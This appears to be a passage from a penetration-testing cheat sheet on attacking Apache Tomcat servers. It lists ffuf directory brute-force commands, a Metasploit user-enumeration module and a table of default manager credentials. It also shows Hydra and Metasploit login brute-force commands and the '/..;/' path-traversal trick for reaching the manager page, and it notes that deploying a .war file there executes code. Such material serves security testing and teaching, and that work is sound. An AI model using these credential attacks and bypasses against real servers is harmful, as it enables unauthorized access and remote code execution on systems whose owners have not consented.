ffuf -u https://example.com/FUZZ -w directories.txt
ffuf -u https://example.com/host-manager/FUZZ -w
ffuf -u https://example.com/manager/FUZZ -w directories.txtIt's interesting to find where are the pages /manager and /host-manager as they might have a different name. You can search them with a brute-force.
In some versions prior to Tomcat6 you could enumerate users:
msf> use auxiliary/scanner/http/tomcat_enumadmin:(empty)
admin:admin
admin:password
admin:password1
admin:Password1
admin:tomcat
manager:manager
root:changethis
root:password
root:password1
root:root
root:r00t
root:toor
tomcat:(empty)
tomcat:admin
tomcat:changethis
tomcat:password
tomcat:password1
tomcat:s3cret
tomcat:tomcat
You could test these and more using:
msf> use auxiliary/scanner/http/tomcat_mgr_loginhydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/htmlmsf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>Try to access /auth.jsp and if you are very lucky it might disclose the password in a backtrace.
The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection

in some vulnerable configuration of tomcat ,you can gain access to protected directories in Tomcat using the path: /..;/
So, for example, you might be able to access the Tomcat manager page by accessing: www.vulnerable.com/lalala/..;/manager/html
Another way to bypass protected paths using this trick is to access http://www.vulnerable.com/;param=value/manager/html
Finally, if you have access to the Tomcat Web Application Manager, you can upload and deploy a .war file (execute code).
